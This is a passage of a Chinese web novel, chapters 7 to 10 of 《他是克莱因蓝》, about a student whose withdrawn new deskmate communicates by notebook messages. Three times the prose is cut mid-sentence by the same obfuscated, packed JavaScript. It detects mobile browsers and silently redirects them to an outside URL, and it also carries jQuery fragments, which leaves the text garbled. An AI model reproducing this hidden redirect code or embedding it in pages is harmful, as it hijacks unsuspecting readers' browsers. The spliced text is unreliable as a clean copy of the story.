《他是克莱因蓝》 7.007:同桌 北川的二月,街道上的雪还没化干净,放眼望去,整个世界都是白茫茫一片。 纪因蓝带着一身凉飕飕的寒意从后门进了九班教室,他的座位在教室最后一排,位置十分宽敞。 同桌丁逸逍比他早到,在纪因蓝把书包扔到课桌上时,丁逸逍正埋头苦补作业,连抬头看他一眼的时间都没有。 “早啊蓝,你有作业要补吗?我这语文英语都有,想要就拿你的数学物理来换。” 纪因蓝慢悠悠瞥了他一眼。 显然,丁逸逍的话对他并没有多少吸引力。 他还有空关心一句: “只要数理,化学和生物不要?” 丁逸逍“哼哼”笑着,一副小人得志样: “这不,手底下补着呢。” “那您先忙。” 说着,纪因蓝看了眼二人座位后的大块空地,转头从教室后门拐了出去。 丁逸逍见人跑了,百忙之中抬头问了一句: “哎!你不补作业?这么从容,不怕语文老师训你啊?” 纪因蓝头也没回: “谁像你啊,早写完了!” 纪因蓝出门后直接去了楼层角落的储物间,没一会儿,他搬了两套桌椅来,擦干净摆到了他和丁逸逍的身后。 丁逸逍还不知道自己补个作业的功夫旁边已经变了天,直到纪因蓝轻轻踹了一脚他的椅子腿: “哎,你想坐前面还是坐后面?” “?”丁逸逍抬头看看他,又回头看看后边凭空多出来的位置: “你干嘛,你要跟我分家?” 还不等纪因蓝说话,丁逸逍突然扔了笔,扑过来抱住纪因蓝的手臂,哭嚎道: “我错了!我错了蓝,我不该跟兄弟做生意,英语语文我免费给你,你别赶我走!我没了你可怎么活啊蓝!” “你有病?” 纪因蓝时常会被丁逸逍的戏精属性震惊。 他推开丁逸逍,见他作业没补完,估计也没空挪窝,索性就不问这人的意见了,直接拎着自己书包丢到后桌去,顺便解释: “跟你没关系,今天要来转学生,要给人腾位置。” 丁逸逍没理清这两件事的因果关系: “来转学生跟你流放后排有什么关系?” 纪因蓝像看傻子一样瞧着他: “我流放?搞清楚,我是把你挪出去,好给别人腾位置。” “?”丁逸逍更不服气了: “啥意思?你要为了一个素未谋面的转学生把我丢下?” 说完这话,丁逸逍细品,又觉得不太对劲: “不对啊,你也不像那热心肠的人啊,哪有你这样,人还没见到就争着当活雷锋的?你不是说多管闲事会折寿吗?你不会认识那个转学生吧?” 他摸摸下巴,大胆发动了他的想象力: “难不成你有个瞒了兄弟多年的暗恋对象,这次机缘巧合下她正好转来你的班级,你大喜过望,立马一脚踹走与你相伴多年的兄弟,只为将同桌之位让给她,成全你们一段美好的青涩.爱恋同窗情?” “想象力这么丰富怎么不去当编剧?” 纪因蓝坐到后座,从包里掏出自己的作业放到桌上,等着课代表来收,边残酷打破丁逸逍的俗套剧情: “转校生是我姐朋友的堂弟,之前一直在外省,现在回来准备高考,转来咱班了,我姐让我这地头蛇照顾着人家一点。看她那千叮咛万嘱咐的样子,不知道的还以为那弟弟生活不能自理,生怕我疏忽怠慢,我不得准备周到点?省的回头再听她挑我刺。” 丁逸逍脑子一抽,脱口先问一句: “男的女的?” “咋,你有女弟弟啊,带来让我开开眼?” “哦……” 纪因蓝有换位置的正当理由,丁逸逍也不好说什么,只能忍痛接受了兄弟分桌的残酷事实。 但他还是舍不得纪因蓝的离去,尽管这人就在他一回头就看得到的地方,他还是一分钟转头八百次,就算在补作业的空隙也要坚持用眼神给对方传递自己的不舍之情,把纪因蓝烦得够可以。 丁逸逍一早的心情跌宕起伏,手底也十分忙碌,最后卡着线在早自习开始的前一秒交上了自己潦草的数学作业。 他长舒一口气,正想看一眼今天是什么早读,但一抬头,他发现教室并没有因为早读开始安静下来,反而比先前更加闹腾,有相当一部分人扒在教室门口,探头探脑地往外看。没一会儿,一群鬼鬼祟祟的家伙又“哗”地散开,各自回了各自的座位。 丁逸逍实在好奇,他随手抓住路过自己身边的男孩: “哎,你们看什么呢?” “看新来的啊!卧槽,你绝对想不到谁来咱班了!” 那男生一脸兴奋,匆匆撂下这样一句就赶回了自己的座位。 丁逸逍一头雾水,不明白他们为什么这么激动。 他转头看向正低头玩手机的纪因蓝,问: “你那堂弟是网红?大明星?他们怎么这反应?” “什么意思?”纪因蓝正解手里的数学题,没注意教室里的骚动,现在才抬头看了眼。 确实如丁逸逍所说,教室里那些家伙交头接耳,个个一脸兴奋,真像是见了什么不得了的大人物。 也是在纪因蓝抬眼的同时,有人站在前门“叩叩”敲了两下门板。像是对上了什么信号,听见这动静之后,教室里瞬间安静下来。 于妙从前门走上讲台,身后还跟着语文老师和另一个男生。 看见那男生,丁逸逍和纪因蓝都傻了。 那人身材高挑清瘦,校服穿得很规整,背后背了一只米白色的书包,头发稍微有点长,前额的刘海垂下来,有些挡眼睛,显得整个人有种很特别的、清冷又阴郁的气质。 丁逸逍猛地转头,脸上的表情活像是见了鬼: “你姐朋友的堂弟是许最???” 纪因蓝也有一瞬的宕机。 但他冷静下来,很快理清了思路。 陆琢姓陆,她的堂弟肯定也得姓陆,而且,人堂弟是转校生,许最既不姓陆也不是转校生,如果不是他失散多年的双胞胎兄弟,那么真相只有一个—— 果然,许最进来后,又一个少年打着哈欠跟在那三人身后走了进来。 那少年的头发呈深栗色,发丝微微卷翘着,姿态很懒散,脚上踩了一双一看就价值不菲的球鞋。 这次对了。 纪因蓝手里转着笔,微微朝后靠在了座椅靠背上。 “上早自习了不知道?那么长的铃声给谁打的,给我打的吗?” 于妙敲敲讲桌,语气严厉,身后准备带早读的语文老师抱着讲义站在角落里,偷笑着看热闹。 刚才还闹哄哄的教室在于妙发话后立马变得一片死寂,一群人眼观鼻鼻观心,生怕被他们妙姐抓个典型。 于妙看着底下的混小子们静下来,面色才缓和了些。 她又敲敲桌面,再开口时,语气稍微柔和了点: “看你们这么兴奋,看来大家都知道了,咱们班要来两位新朋友。既然早读已经开始,咱们就不浪费时间了。新同学做个简单的自我介绍吧,许最,你先?” 许最原本站在一边,听见于妙点了自己的名,他抬眸看了于妙一眼,又短暂地望了眼台下,才收回视线,抬步走到讲台后。 台下几十双眼睛直勾勾盯着他,许最垂下眼,抓着书包带的手指微微蜷起,用力到骨节有些发白。 “我叫许最。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12443858|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个字说完后,空气沉默许久,久到于妙都有点绷不住: “这就结束了?” “……” “未免有些太简短了。黑板上写一下吧,是哪两个字。” 得了于妙指令,许最从讲台上捡了只短短的粉笔头捏在手里,转身在黑板上写了两个字。 他的字很漂亮,劲瘦有力,看起来和他本人的气质也差不离。 “许诺的许,最后的最。” 许最把那只变得更短的粉笔头放回原位,又给自己的自我介绍添了这样八个字。 而后,他看了于妙一眼,又跟台下的同学点点头,示意自己的介绍结束了。 于妙在边上看着他,哭笑不得。 她摆摆手: “大家也知道,许最同学原本在一班上课,因为一些原因,这学期先转来我们班,以后就是我们九班的同学。许最同学的成绩和学习习惯都很好,你们这些家伙,多跟人家学着点。好了,许最,去找个空位先坐下吧,如果有坐前排的需求,可以课后来找我协调。” 许最又点点头。 台下同学们交头接耳,许最的目光扫过他们,最终落到了教室后排。 九班的座位分布很是随意,人也不多,中后排还有不少空位。 许最把书包又往肩膀上带一带,侧身路过教室里那些凌乱桌椅,径直走到了最后排去。 丁逸逍望着他,脸上隐隐有些兴奋,对着自己旁边的空位朝着许最做了个“请”的手势。 许最瞥了他一眼,眸色淡淡,没什么反应。 后排的纪因蓝一手转笔,一手撑着下巴,百无聊赖地望着丁逸逍的后脑勺,似笑非笑地瞧这前一秒还说舍不得他的人,现在却如此兴奋地跟人大学霸推销自己空出来的位置。 但很快,他的笑容僵在了唇角。 因为许最没有理会丁逸逍的邀请,他直直路过他,来到了后排纪因蓝的座位旁。 纪因蓝收回唇角那丝笑意。 他与许最对视片刻,最后是许最先避开了他的视线,低声问: “我能坐这吗?” “?”纪因蓝看看他,又看看前排和他一样错愕的丁逸逍,再看看台上正准备做自我介绍的堂弟,正想说我这位置是留给别人的,就听前面的于妙问: “怎么站着?纪因蓝?你座位镶金了不让同学坐?” “……” 纪因蓝觉得无语。 但现在显然不是跟许最掰扯的时候,他只能稍微往旁边挪了挪,示意许最先坐下。 许最悄悄看着他的反应,站在边上顿了顿,才默默放下自己的书包,坐在了纪因蓝旁边的座位。 纪因蓝注意到,他没把书包放进桌子里,而是一直抱在怀里。 没一会儿,他听许最用只有他们两个人能听见的声音道: “我不能坐这?” 这话配着许最冷调的声线,莫名带了些嚣张的挑衅味道,一下触发了纪因蓝的防御机制,浑身的毛立马炸了起来。 他指间转着的圆珠笔一卡,一句“你几个意思”刚准备呛出来,却听许最开口小声道: “……对不起。 “不是故意的,我不知道我不能坐这里。你介意的话,我下课就走。别生气。” 许最这两句说的语调平稳,就像陈述某个公式一样平淡,说道歉听不出来,阴阳怪气又实在不像。 纪因蓝指间转着的笔“啪”一声掉到了桌面上。 嘴里的话说也不说不说也不是,纪因蓝看着许最脸上三分真诚三分平静三分委屈外加一分无可奈何的表情,欲言又止止言又欲,最终还是闭上了嘴,默默换了个姿势,让许最离开了自己的视野。 真受不了。 ……死绿茶。 8.008:坐标 纪因蓝可以跟真嚣张真阴阳怪气的家伙急头白脸花式怼三个小时不停歇,唯独受不了别人用这种方式跟他说话。 他到嘴边的回怼和解释都被许最一句道歉示弱堵了回去,他撇撇唇角,深吸一口气,换了个姿势靠在桌边。 也不知道是不是纪因蓝的错觉,许最坐到他旁边后,他总能闻到一股清清淡淡的花香味飘过来,仔细嗅嗅,应当是栀子花香。 什么毛病,上学还喷香水? 纪因蓝不太习惯这个味道,他皱皱鼻子,却也没说什么。 许最找到座位后,跟他一起进教室的男孩也走上了讲台。 那男生站到讲桌后,抬手从桌上抽了一支新粉笔,稍稍用力掰成两半,而后给在座各位来了一个炫酷的转身抬手,“唰唰”几下在黑板上写下了自己的名字。 只是他那两个大饼般的字摆在许最旁边,多少有点没眼看。 “我叫陆珏,耳击陆,一个王一个玉那个珏。之前一直在南江那边念书,但这不是要高考了嘛,我学籍在北川这边,只能滚回来考。总之,我这人还算好相处吧,以后大家就都是同学朋友哥们姐们了,都一家人,咱一起学一起玩,有什么事找我需要我帮忙,都别客气,我这人,最不怕的就是麻烦。” 陆珏从小在南江长大,说话带了点南江口音,听起来十分松弛,还带着点不惹人厌的痞气。 简单介绍完一段之后,他看看台下,又看看于妙: “老师,我坐哪啊?也随便坐呗?” “嗯。”于妙应了一声: “找个喜欢的位置就行,你也一样,如果有特殊需要,下课来找我说明就好。” 陆珏点点头,单肩背着包往下走。 他的目光很快锁定了最后一排的纪因蓝。 纪因蓝跟他对上视线,以目光示意自己前面的座位,陆珏立马会意,把书包扔到了丁逸逍旁边,大大方方坐下。 陆珏把书包塞到桌子里,抽空回头看了眼后排的纪因蓝,朝他打了个响舌: “您就是纪因蓝吧?我听我堂姐说你了,让我找个头发有蓝色挑染的帅哥,果然帅。以后一起玩啊。” 说着,他又看向纪因蓝身边的许最: “兄弟你也帅,咱俩同一天来到九班,简直缘分啊!我刚听别人说你成绩特好?让我见到活的学霸了我去,你看,咱们同一天坐在这里当前后桌,以后前后桌再互帮互助,大爱啊!” “……” 在陆珏真诚热情的目光下,许最默默挪开视线,只回了他一声很低的: “……嗯。” “我懂了。” 陆珏抬手点点他: “冷脸学霸!小说男主那种!狂拽酷炫,人狠话不多!我最喜欢这种主角,你知道吗,我上次看的那个叫什么……” “……” 听着话题不仅没结束还像是刚开始,许最头更低了。 他彻底拒绝了陆珏的目光交流,并默默从书包里拿出一本语文阅读练习题,翻开,再拿起一支笔,按开笔尖握在手里。 可能是许最拒绝的意思太明显,也可能是他表情和气质太冷,陆珏口中的小说剧情在讲到冷拽男主拯救世界时卡了一下,没再继续。 纪因蓝瞥了许最一眼。 这人表情依旧冷冷淡淡,看不出什么来。 说实话,拽得都有点让人不爽了。 前排,陆珏撞了冷脸,稍微有点尴尬,纪因蓝便开口,将话头挪到自己这里。 他扬扬下巴,道: “你跟北川不怎么熟吧?你姐我姐都跟我打过招呼了,你有什么事随时找我。” “那敢情好啊。”陆珏冲他笑笑: “我刚来时还见了你们……哦不,现在是咱们,咱们牛猛主任!他还跟我说你了,说你理科很强,让我有什么不懂的随便问你。” 纪因蓝确实没想到牛猛谈起自己时还能说这种好话。 他轻笑一声: “还行吧,真强的话,我就不在这坐着了。” “那在哪?” “楼道另一头,理科一班。” 纪因蓝瞥了许最一眼,随口道: “他老家。” 听到这里,丁逸逍听不下去了。 他转头压低声音吐槽一句: “你为什么去不了一班,你自己心里没点数啊?” “为什么?”陆珏不明所以。 丁逸逍毫不留情评价: “因为他的语文英语是狗屎。” 听见这话,许最侧目看了他一眼。 感受到那目光的纪因蓝只觉得浑身刺挠: “你在外面就这样宣传我?” 他用笔尖毫不留情戳向丁逸逍的后背: “注意言辞!说了几遍了,我这次语文手感很好!突飞猛进!等成绩出来啪啪打你脸。” 丁逸逍被他这么一戳,差点没当众“嗷”出一声。 两位新同学介绍完毕,也都找见了自己的座位,于妙接着简单安排了一下接下来一周的学习计划,便把早读课还给了语文老师。 语文老师是个身材圆润的年轻女生,笑起来眼睛和嘴唇都弯弯的,脸颊肉嘟嘟,看起来很好相处。 她姓傅,同学们根据她的性格和外貌给她取了一个爱称,叫福团。 福团腰上别了一个小蜜蜂扩音器,看于妙走出教室带上门之后,她抱着一沓试卷,笑眯眯地给台下同学展示: “你们看看,我给你们带来了什么好东西?” 老师带的还能有什么好东西?批改完成的摸底考试卷罢了。 底下哀嚎声一片,福团把试卷交给前排同学分发,自己敲敲讲桌,等同学们安静下来后才道: “先总结一下,咱班这次的成绩呢,很稳定,稳定之中,又带了点小小的进步。” 说着,福团的目光越过教室前中部十几排桌椅,直勾勾落到了纪因蓝身上: “我还要特别表扬一位同学,那就是我们的纪因蓝!纪因蓝同学常年霸占着九班第一的宝座,分别是数学理综的正一和语文英语的倒一,而这次的语文成绩……” 刚刚才受到兄弟质疑的纪因蓝默默挺直了腰板,准备迎接福团的暴风夸赞。 “依旧没什么变化,还是倒一。” “?” 一个大喘气后,福团说完了后半句话,教室里立马掀起一片哄笑,丁逸逍更是转头将自己幸灾乐祸的猥琐嘴脸舞到了纪因蓝眼前。 连边上的许最都多了很轻的一道气声,听着像是一声轻笑。 这让纪因蓝更刺挠了。 “但是!” 等大家闹过一小会儿,福团才来了一个转折: “但是纪因蓝同学也不是完全没有进步,比如这次他把作文纸写满了,这就是他迈出的一大步!他这次的创作也十分有价值,不仅让一整个语文组的老师抢着传阅,就连数学组老师也给出了很高的评价。来,纪因蓝,给大家读一下你的作文,让我们都见识一下。” 听着福团这一通吹捧,纪因蓝觉得此事有诈。 首先,如果他的作文真这么优秀,他为什么还是倒一? 可把作文纸拿到手里,纪因蓝扫了一眼,实在看不出什么问题。 很满很好很优秀啊! 纪因蓝一头雾水,但还是拎着作文纸站了起来。 福团望着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12464932|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “先读题目。” “哦。” 纪因蓝应了一声,清清嗓子,懒洋洋读了下去: “每个人都有自己的人生坐标,也有对未来的美好期望。家庭可能对我们有不同的预期,社会也可能会赋予我们别样的角色。在不断变化的现实生活中,个人与家庭、社会指间的落差或错位难免会产生。对此,你有怎样的体验与思考?” 福团点点头: “好,读你自己的吧。” “题目,《坐标》。” 教室里一时安静得只剩了纪因蓝自己的声音: “人生坐标,是一个十分新颖的概念。那么,坐标是什么? “坐标系,是理科常用辅助方法,常见有直线坐标系,平面直角坐标系。为了说明质点的位置、运动的快慢、方向等,必须选取其坐标系。在参照系中,为确定空间一点的位置,按规定方法选取的有次序的一组数据,这就叫做‘坐标’。在某一问题中规定坐标的方法,就是该问题所用的坐标系。 “坐标系的种类很多,常用的坐标系有笛卡尔直角坐标系、平面极坐标系、柱面坐标系和球面坐标系等。中学物理学中常用的坐标系,为直角坐标系,或称为正交坐标系。” “说起坐标系,就不得不提起一位伟大的数学家——笛卡尔。 “笛卡尔是一个十分勤于思考的人,就算在生病卧床时也要不断琢磨难题,有一天,他想,几何图形是直观的,而代数方程比较抽象,那么,我们能不能用几何图形来表示方程?这个问题困扰了笛卡尔很久,突然,他看到了屋顶角上的一只蜘蛛,拉着丝垂了下来,又顺着丝爬上去。蜘蛛的行为令笛卡尔豁然开朗。他想,如果把交出来的三条线作为三根数轴,那么空间中任意一点不都可以用数轴上的三个数来表示吗?就这样,在蜘蛛的启示下,笛卡尔创建了直角坐标系。 “当年,蜘蛛启示了笛卡尔,今天,笛卡尔启示了我。 “我们的人生,就是一个巨大的直角坐标系。个人、家庭和社会分别是坐标系上的三个点,这三个点互相连接,形成了一个巨大的三角形,稳固了我们的人生。 “由此可得,我们每个人的人生坐标就像三角形结构的锚点,尽管每个人的侧重点不同,却都有各自的精彩,无论如何都不会出现太大误差。因为世界上所有的三角形,都具有稳定性。” 纪因蓝读完自己的大作,听着教室里安静许久。 几秒后,哄堂大笑。 “绝,蓝哥,你真绝!” “我好像上了一节数学课,蓝哥你有什么头绪吗?” “哈哈哈哈笑死哈哈哈……” “你坐下吧。” 福团也笑得合不拢嘴,她看纪因蓝臭着脸坐下,笑眯眯转头在黑板上写了两个字: “来,谢谢纪因蓝同学给我们给了个好引子,今天咱们就他这篇文章来讲讲,作文跑题的问题,当然,我们同学多多少少都有这个问题,不止纪因蓝一个,只是他比较典型,毕竟能把语文作文写成数学教案的也没几个。不过好歹最后勉强算是点了一下题,不然写这么满连二十分都拿不上,多亏啊是吧?” 纪因蓝出了个大洋相,尬得头皮发麻。 但没办法,就算他的作文变成了数学教案,这也是他写得最好的一次。 他凉凉地扯扯嘴角: “您刚说我作文很有价值,就这啊?” “当然不是!” “那是什么?” “这不很明显吗?” 福团扫了眼还在回味纪因蓝大作、嘎嘎乱笑的同学们,朝他挤挤眼睛: “情绪价值。” “……” 9.009:笔记本 纪因蓝就这样作为反面教材,被福团揪着凌.迟了一节课,不断将他作文中的好词好句挑出来反复鞭尸。 原本就已经够烦了,再一转头,看见身边某位大学霸正十分认真地跟着福团的知识点做笔记,纪因蓝扫了一眼,发现他居然还誊抄了自己作文中某个精彩片段,特意在“笛卡尔”三个字上画了重点标记。 点笛卡尔干什么?看不起笛卡尔? 纪因蓝憋屈得要死,天知道他是怎么熬过这一大节语文早读加语文课。 当第一节课的下课铃声响起时,那美妙的声音落在纪因蓝耳朵里,不亚于救命仙乐。 “我真服了哈哈哈……怪不得你那天考试下笔如有神,原来是踩到了舒适区,就是没踩太对,不过对于你来说,能写那么多字本身就已经迈出一大步了。不要灰心啊蓝,你还有光明的未来。” 丁逸逍这一节课憋的笑总算在下课后彻底释放,他大力拍着纪因蓝的桌面,表情已经扭曲到有点狰狞。 “你吃了笑奶奶的屁?” 纪因蓝懒得理他。 顿了顿,他侧目看向身边的许最。 许最还在写他那杀千刀的语文笔记,也不知道他个语文考了一百三作文将近满分的人对一份坐标系说明书到底有怎样独特的见解。 “哎。” 看了一会儿,也不知想到了什么,纪因蓝突然叫了许最一声,边抬腿轻轻踹了一脚他的椅子腿。 当椅子腿和地面摩擦发出略微刺耳的一声响时,纪因蓝才反应过来,自己这个动作并不妥当。他先前一直跟丁逸逍做同桌,两个人打闹惯了,踢来踹去都是常事,刚才这一下也完全是习惯使然,但显然,这个动作现在放在许最这里并不合适。 突然被点,许最愣了一下,手底动作一顿,才看向纪因蓝。 纪因蓝张张口,刚想说什么,但一句话还没出口,就被教室后门传来的一道声音打断了。 “蓝!” 回头看去,姜闪闪鬼鬼祟祟地趴在门边: “纪因蓝,你过来!” “?”纪因蓝微一挑眉,虽然对于姜闪闪的大驾光临略感奇怪,但还是起身朝她走了过去。 许最丁逸逍和陆珏都被姜闪闪那声吸引了注意,姜闪闪有些不好意思地朝他们挥挥手算作打招呼,然后就在纪因蓝靠近时一把拉住他的手腕,把他带到了离九班最近的楼梯间。 “做什么这么着急?”纪因蓝看她急吼吼的样子,不知道她这是又遇上了什么麻烦。 “啧,早上我听人说许最转你们九班来了,还以为他们是在开玩笑,没想到真是啊?” 姜闪闪开门见山道: “听说是因为他和崔哲言的问题惊动了老师,崔哲言背景有点硬,老师们没办法,只能委屈许最转班,是这样吗?” “……我哪知道?”纪因蓝觉得姜闪闪这个问题问得实在太奇怪: “我又不认识那许最,我哪知道他为什么转班?” “你们不是同桌吗?都当一节课的同桌了,还没打听来?”姜闪闪不可置信。 “你当我是丁子那八卦篓子?” 纪因蓝嗤笑一声: “马上就不是了。” 他表情和语气十分冷漠无情,随口胡诌道: “我觉得我跟他八字不合,离得太近可能会折我寿,所以我决定把他丢到别的位置去。” “别呀!”姜闪闪赶紧抓住他的手腕: “你没打听,但我打听过了。许最之前在一班就一直被崔哲言针对,这两天又变本加厉,可能真的是太过分了,他这才转班的。” “你不会真信吧?”纪因蓝一脸莫名其妙: “他比那姓崔的高半个头,手放崔哲言脑门上崔哲言都够不着他,他还能被崔哲言欺负到转班?” 听见这话,姜闪闪有点无奈,沉默片刻,才叹了口气道: “蓝,又不是所有人的性格都跟你一样,什么都不怕,解决问题又野又干脆。崔哲言那种跳脚小喽啰,在你来看当然算不上什么了。但我这些天问过一班人了,有个初中跟许最同校的小姐妹跟我说,许最看着高冷不好接近,其实只是因为不擅长表达也不擅长跟别人交流,不会说话所以不说话,不会交朋友所以没朋友,一直独来独往,但因为长相和气质太冷又不爱说话还特优秀,所以显得很拽,好多人因为这个看不惯他。” 听见姜闪闪说的这些,纪因蓝微微皱了皱眉。 不说话不交流是因为不会? 世界上还有器官功能正常却不会说话的人类? 不会是有什么小众疾病吧? 纪因蓝的思维发散到了很远的地方,又及时被他拽了回来。 好了,道理他都懂,但: “跟我有什么关系?我替你出头就算了,还要负责替他出头吗?” “……”姜闪闪一噎。 但她知道,纪因蓝虽然话说得狠,听着冷漠无情怕麻烦又不爱管闲事,但其实最是心软。 她看了纪因蓝一眼,抿抿唇角,道: “但这事说白了吧,跟我有关。” 姜闪闪清清嗓子: “你看啊,虽然崔哲言一直跟许最不对付,但要不是我那天说喜欢他,崔哲言也不会恼羞成怒变本加厉,许最也就不会被逼得转班。孩子本来就很内向了,现在到了新班级,才上了一节课同桌就要赶他走,他不得内耗死?” “所以我得和颜悦色温言软语把他供起来招待好呗?”纪因蓝没好气道。 “哟,说话这么有文采,怎么一写作文就变成数学教案?” 习惯性嘲讽完,姜闪闪才反应过来自己现在有求于人,所以又赶紧调整好语气: “求求你了,你看,你这么帅这么聪明这么会处理人际关系,就罩着许最点呗?对你来说就是举手之劳,虽然他不知道这事源头在我,但我自己有负罪感,我觉得我对不起他,你就算是帮我个忙吧,求求你了,我请你吃饭,嗯?” “……” 其实纪因蓝刚才“八字不合”“折寿”“换位置”那些话都是随口一说,之前他听纪四余拜托他关照陆珏,还以为陆珏是那种腼腆内向不善交际的小孩,担心他在新环境不适应,这才特意把自己同桌的位置留给他,但现在看来,陆珏完全没有这方面的需求,短短一节课过去就开始跟周围人称兄道弟了,而腼腆内向不善交际的还另有其人。 所以他没想再让陆珏换位置,人只是朋友家的堂弟,又不是他对象,他有什么必要非要把人绑在旁边?还显得怪矫情。 但他懒得跟姜闪闪解释,现在姜闪闪又因为这事主动说要请他吃饭,纪因蓝不接受就是纯傻子。 所以纪因蓝轻咳两声,装模作样不耐烦道: “既然你都这么说了,那行吧。” 纪因蓝努力压下唇角的笑意: “快上课了,先回了。” “你对人家温柔点耐心点啊!” “……知道了!” 纪因蓝慢悠悠晃回教室,但回去的时候,他注意到他新同桌的课桌已经被清理干净,本人正慢吞吞往包里收东西。 “?”纪因蓝微一挑眉: “你干什么?” 许最抬眸看他一眼,他一双眸子掩在发丝垂落的阴影下,看不太真切。 “换位置。” “换哪去?” 许最没吭声,只回头看了眼教室角落里藏在垃圾桶旁边的小单桌。 “……” 怎么,被赶走就要去钻垃圾桶是吗? 纪因蓝也不知道自己是个什么心情。 他皱皱眉: “谁让你换了?” “不是你?” 许最垂下眼,冷调的声音淡淡道: “你刚踢我。让我滚。” 纪因蓝想起来了。 好像刚才他“哎”的那一声也显得有点凶。 啧,真麻烦。 “谁让你滚?我没说这句,你少在这添油加醋。” “我不用滚?” “你滚哪去?都已经坐下了,留着吧。” “你不是不喜欢?” 看出来了,这人确实不会说话。 这要他怎么接? “我喜欢。” 纪因蓝拉开椅子坐下,咬着牙道: “我喜欢得要死行了吧。” “……好。” 许最动作顿了顿,又开始一件件把刚才装进书包里的东西拿出来。 片刻,他又补了一句: “谢谢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12480493|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪因蓝服了。 他忍住自己要掐人中的冲动,好脾气地解释道: “我刚就想问你名字哪两个字,再说一遍,忘了。” “许诺的许,最后的最。” “什么?” 课间教室太闹腾,有个男生揪了女生的辫子,逃命路过纪因蓝桌边时刚好在怪叫,导致纪因蓝一个字也没听清。 “你说话不能大点声?我以为哪来的蚊子在哼哼。” “……” 许最张张口,却没再出声。 他只看纪因蓝一眼,又低头,没再说话,只继续从书包里拿东西,最终找出一个笔记本摊开,按开笔尖开始写笔记。 纪因蓝等了一会儿,没等来回答,只等到了冷漠拒绝与忽视。 他感觉自己被冷暴力了。 什么人啊? 话不说第二遍是吗,这么金贵? 长这么大第一次有人这么对他! 纪因蓝真是烦透了。 他开始有点后悔没让许最去钻垃圾桶。 正好打了上课铃,纪因蓝翻了个白眼,没再纠结许最,只照着于妙的要求,从课桌里找出了摸底考的数学试卷。 纪因蓝的语文英语和数理化生的成绩算是两个极端,他讨厌学习语言,但却对理科很感兴趣,尤其是数学。 他上数学课的时候一般不会走神,加上这次数学有道大题他丢了分,所以讲题时听得格外认真。 他转着笔,一边听老师讲题,一边垂眼看自己的答案。 但过了一会儿,他余光突然瞥见许最还在埋头写东西。 “?” 他在写什么? 怎么?九班数学课太简单,他自己给自己开小灶呢? 纪因蓝越想越奇怪,等终于忍不住想仔细瞅一眼时,许最却突然收了笔。 下一秒,他理好手下的笔记本,把它放到了自己和纪因蓝桌面中间那条窄窄的分界线处。 “?” 纪因蓝手里转着的笔掉到了桌上。 他用余光盯着那笔记本,不确定许最这是什么意思。 过了一会儿,他注意到许最动了动手,鬼鬼祟祟地把那笔记本又往自己这里推了一点点。 这次,纪因蓝侧目看了眼许最,却见那人又低着头装鹌鹑,假装无事发生。 这是几个意思? 纪因蓝迟疑着拿过了那个笔记本。 许最没有动作,那纪因蓝应该没猜错,这玩意就是他放这让自己看的。 扫一眼,横线本上的字迹很漂亮,写得还不少。 但越看下去,纪因蓝脸色越精彩。 “尊敬的纪因蓝同学: “你好! “你没有听见我的自我介绍,是我的问题,我感到十分抱歉,可我再说几遍不仅浪费时间,或许还会惹你心烦,所以思来想去,我选择以这种方式回答你。 “我叫许最,许诺的许,最后的最。 “我的性别为男,生日是11月11日,天蝎座,o型血,身高186,体重148斤,祖籍北川,家里有父母和一个弟弟,没有爱好,偶尔画画。 “我之前一直在一班念书,现在很高兴能来到九班和你成为同桌。 “我性格不好,希望你不要讨厌我,如果平时不跟你说话,不是因为不喜欢你,是因为我不太会说。但我会努力克服自身问题和你交流,希望能够跟你相处愉快。 “正式的自我介绍大概就是这样,如果还有什么想了解的问题,您可以将它们写在下面,我会认真回答。 “感谢你有耐心看到这里,再次强调,能跟你成为同学,我真的很高兴。 “此致,敬礼! “你的新同桌,许最。” “……” 纪因蓝的母语是无语。 他又看了眼许最。 那人正冷着脸看题,纪因蓝看看那段自我介绍再看看他,实在看不出他坐在这里有哪里高兴。 如果不是亲眼见证了这玩意的诞生过程,纪因蓝根本不会相信这篇可笑的自我介绍是出自眼前这位许最之手。 他大手一挥用红笔批了个“已阅”,随手把笔记本丢了回去。 说话放不出屁,写还挺能写。 服了。 10.010:纸条 纪因蓝之前一直和丁逸逍坐一起,那小子是个闲不下来的主,上课也不安分,总是叽叽喳喳个没完。 纪因蓝习惯了他的聒噪,现在突然换个异常安静的,还确实有点不适应,总觉得自己旁边坐的是个死人。再看看前排的小哥俩相处愉快交谈甚欢,纪因蓝叹了口气,百无聊赖地撑着脑袋,看福团友情提供给他的《高考作文精选一百篇》。 